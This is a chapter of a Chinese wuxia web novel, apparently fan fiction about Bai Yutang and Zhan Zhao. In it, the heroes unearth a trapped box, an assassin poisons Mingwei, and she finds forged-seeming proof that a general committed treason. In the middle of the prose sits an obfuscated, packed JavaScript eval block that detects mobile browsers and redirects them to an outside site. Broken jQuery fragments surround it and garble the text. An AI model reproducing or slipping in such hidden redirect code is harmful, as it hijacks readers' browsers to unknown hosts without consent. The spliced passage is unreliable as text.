5. 界碑林遇险

作品:《【七五】焚心局:锦鼠衔玉

    夜色深沉,界碑林寂静无声。


    碑林位于两国缓冲地带,古木参天,怪石嶙峋,气氛阴森。


    明薇、白玉堂、展昭三人屏息凝神,按照老马贩模糊的描述,在老槐树东南三十步范围内仔细搜寻。


    明薇的目光锐利地扫过每一寸地面和石碑,凭借着“机仙”对痕迹异于常人的敏锐,她最终锁定了一块半倾颓的石碑。石碑底部边缘的泥土,颜色略新,翻动的痕迹虽被刻意掩饰,但细微的颗粒分布和几株被压断的草根,逃不过她的眼睛。


    “在这里!”明薇低喝一声。白玉堂和展昭掠至。


    明薇正准备开始挖掘,白玉堂拦住她:“我来。”然他抽出画影剑,并未出鞘,仅以剑鞘为工具,小心翼翼地拨开浮土。不多时,一个密封的、沾满泥污的小铁盒显露出来。


    白玉堂正准备伸手去拿,明薇忙低喝道:“等等!”往后拉了拉白玉堂,“谨防有机关消息。”说着侧着身子,一边凝神戒备,一边用惊鸿剑鞘触碰盒子侧边一个不起眼的凸起。


    “嗖嗖嗖嗖!”几根泛着乌黑光芒的银针飞射出来,盯在不远处的树干上。


    “好歹毒的心思!”白玉堂不禁脊背发凉,若不是明薇提醒,此时怕自己已经中招了。


    “现在应该没事了。”


    明薇说着把惊鸿剑放在一边,正欲拿铁盒时


    “咻!咻!咻!”


    刺耳的破空声撕裂死寂!四支劲弩毒箭,从不同方向的暗影中刁钻射来,目标直取蹲伏在地、空门大露的明薇。


    “小心!”白玉堂和展昭同时厉喝!


    白玉堂画影剑出鞘如电,格开两支弩箭!展昭的巨阙剑亦化作一道蓝光,劈飞第三支!然而第四支弩箭角度刁钻,擦着展昭的剑锋,直射明薇肩头!


    明薇心神全在铁盒上,反应稍迟,只来得及侧身!“噗嗤!”毒箭狠狠扎入她左臂!剧痛伴随着麻痹感瞬间传来!


    “呃!”明薇闷哼一声,身体踉跄后退,脸色瞬间煞白!


    “明薇!”白玉堂目眦欲裂,画影剑舞得密不透风,护住明薇。


    展昭更是怒喝一声,巨阙剑带着雷霆之势,扑向弩箭射来的方向!


    黑影一击不中,立刻遁入黑暗。展昭紧追不舍,与那杀手在密林中展开激烈搏杀。


    刀光剑影在夜色中闪烁,劲气激荡,树枝断折!


    白玉堂则迅速半跪于地,扶住摇摇欲坠的明薇。箭伤入肉不深,但箭头淬的显然是剧毒!伤口周围皮肉已泛起令人心悸的青黑色,并以肉眼可见的速度向四周蔓延!


    “忍着点!”白玉堂迅速撕下自己内衫下摆,用力扎紧伤口上方,又扯下布条快速包扎止血,动作虽快却不失轻柔。


    包扎时,他似乎瞥见明薇怀中的双鱼玉佩在衣襟下闪过一丝极淡、几乎难以察觉的温润光泽,而伤口边缘的青黑色似乎…扩散的速度微不可察地减缓了一丝?但此刻情势危急,他无暇细想。


    另一边,展昭凭借高超武艺,终于将那黑衣杀手逼入绝境。


    杀手眼见逃生无望,眼中闪过一丝决绝,猛地一咬牙!一股黑血瞬间从他嘴角溢出,身体抽搐两下,便软倒在地,气绝身亡!


    展昭搜查其尸身,一无所获,显然此人是精心培养的死士。


    展昭返回,看到白玉堂已为明薇处理好伤口,微微松了口气。


    “杀手是死士。已经服毒自尽了。”展昭沉声道,目光落在那被挖出的铁盒上,“看来,这里面的东西,有人不想我们看到,更不想我们活着带走。”


    白玉堂小心地将明薇打横抱起,感受着她身体的轻颤和冰冷,心中揪痛,语气焦灼:“先离开这鬼地方!明薇的毒耽搁不得!带上盒子,回客栈!”话音未落,他已抱着明薇,身影如电般射向来路。


    展昭拾起铁盒,警惕地扫视四周,紧随其后。


    客栈内,烛火摇曳。


    明薇被安置在床榻上,面无血色,昏迷不醒。展昭已以最快速度请来了凉州城最好的大夫。


    老大夫须发皆白,神色凝重地搭上明薇的腕脉,闭目细察。


    白玉堂紧握双拳,在床边焦躁地踱步,目光死死锁在明薇苍白的脸上。


    展昭则立于一旁,眼神锐利地观察着大夫的每一个细微表情。


    “嗯?”老大夫眉头越皱越紧,发出一声惊疑的低吟,又换了一只手仔细诊察。


    “大夫!她怎么样?毒厉不厉害?你快说啊!”白玉堂忍不住急声催促,声音带着一丝不易察觉的颤抖。


    大夫起身看着展昭和白玉堂,紧皱的双眉并没有舒展,说道:“奇哉!怪哉!这位姑娘脉象虽显虚弱,但流转渐趋平和…观其伤口,可…其体内毒素,竟…竟已自行化解了十之七八!这…这简直闻所未闻!老朽行医一甲子,从未见过如此奇事!”


    “自行化解?!”展昭瞳孔微缩,心中惊涛骇浪!他立刻追问:“大夫,可知是何缘由?是否与所中之毒特性有关?”


    老大夫摇头,百思不得其解:“此毒性烈迅猛,中者若半个时辰内必见阎王!姑娘能自行化解…若非体质特异,便是…身怀异宝?”他目光下意识地扫过昏迷的明薇,“稳妥起见,老朽开一剂温和解毒、固本培元的方子,助她清除余毒,恢复元气。”他提笔写下药方交给展昭。


    展昭强压下心中翻涌的疑云”


    展昭拱手:“有劳大夫。”


    大夫离去后,房间内陷入短暂的沉寂。


    展昭凝视着昏迷的明薇,那“毒药自解”的诡异现象如同巨石压在他心头。这个女子身上的谜团,似乎比将军府的冤案更深!


    白玉堂则长长舒了口气,只要明薇无性命之忧,其他的他此刻根本不愿多想。方才看着她中箭倒下那一刻,心脏仿佛被无形之手攥紧的窒息感,让他后怕不已,一丝未曾明了的、混杂着心疼与守护的情愫,在惊惧与庆幸中悄然滋长。


    白玉堂扭头看着展昭不动,不满催促道:“喂,展小猫,大夫不是让抓药嘛,你怎么站着不动?”自己则坐到床边,小心翼翼地用湿毛巾擦拭明薇额头的冷汗,动作是从未有过的轻柔。


    展昭看着这一幕,一向冷峻的嘴角竟不自觉地微微上扬,露出一丝几不可察的了然笑意。


    这只骄傲不羁的锦毛鼠…他摇摇头,收起纷杂思绪,转身快步出门抓药。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16337650|183392||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    药煎好服下后不久,明薇纤长的睫毛颤动了几下,缓缓睁开了眼睛。意识回归的瞬间,剧痛和虚弱感袭来,但她第一句话便是嘶声问道:“铁…铁盒呢?”


    “在这儿!你放心!”白玉堂见她醒来,眼中瞬间迸发出惊喜的光芒,连忙俯身,声音是自己都未察觉的温柔,“别急,慢慢来。”


    他小心翼翼地扶起明薇,在她身后垫上柔软的枕头,调整到最舒适的姿势,动作细致得如同对待易碎的瓷器。


    展昭将铁盒放在床边小几上,轻轻打开。盒内物品不多,却件件如同淬毒的匕首,直刺人心:


    一封火漆封印的信,封皮写着“耶律大人亲启”。拆开,信纸陈旧,字迹与陈将军笔迹高度相似,打开看时内容虽简短却字字诛心:“事已办妥,北隘空虚,三日后午时,按约交割。陈骁。”


    火漆封印的纹样,正是镇北将军府的独有标记!


    三锭黄澄澄的金元宝,底部赫然錾刻着辽国南院大王府的徽记!


    一张绘制着雁门关西北一处重要隘口防御部署的草图。


    明薇看着那熟悉的笔迹和将军府印记,如遭重锤,眼前一黑,几乎晕厥过去。她死死抓住白玉堂的手臂,指甲深陷,声音颤抖破碎:“不……不可能……将军他……怎么会……”


    巨大的信仰崩塌带来的痛苦,远比肩上的箭伤更甚百倍。那个威严而慈祥、为国为民的将军形象,在眼前这些“铁证”面前,似乎开始崩塌。


    白玉堂紧锁眉头,仔细检查着金锭和地图。金锭的成色、徽记,地图的笔触、标注,以他的眼光,竟也一时找不出明显的破绽!


    尤其联想到老马贩的证词、那枚扳指,以及展昭查到的私自调兵记录……一切似乎都严丝合缝地指向一个结论——陈骁,真的叛国了!


    展昭拿起那封信,指尖反复摩挲着纸张和墨迹,剑眉紧锁。


    多年的刑侦经验告诉他,证据链过于“完美”,反而透着不真实。


    纸张的质地…墨迹的渗透…火漆边缘细微的压痕…似乎都有些许不协调之处。但这点点疑虑,在如山的人证、物证面前,显得如此苍白无力。


    尤其这封信,是明薇和白玉堂“亲手”挖出来的!地点与“交易”时间吻合!


    压抑的沉默笼罩着房间,只有烛火偶尔发出的噼啪声。


    展昭首次打破沉寂:“白兄那马贩子...可靠吗?他给你扳指时,可有异常?”


    白玉堂抱着胳膊,冷声道:“那家伙吓得差点尿裤子,不像装的。扳指我找人看过了,确实是北狄王庭流出的样式,年份也对得上。至于这信...”


    他顿了顿,虽然不爽展昭的质疑,但也承认,“看明姑娘的反应,笔迹确实是陈将军的,火漆印也看不出问题。地点时间都对得上我们挖出盒子的位置。”


    “不,我不相信陈将军会叛国,虽然证据链完整,可我总觉得里面透着蹊跷!”


    明薇虽然记不清在将军府的点点滴滴,可心中就是有个声音在告诉她,陈骁绝不会叛国!


    就在这沉重的、充满猜疑与信念崩塌边缘的时刻——


    “砰!门被推开了!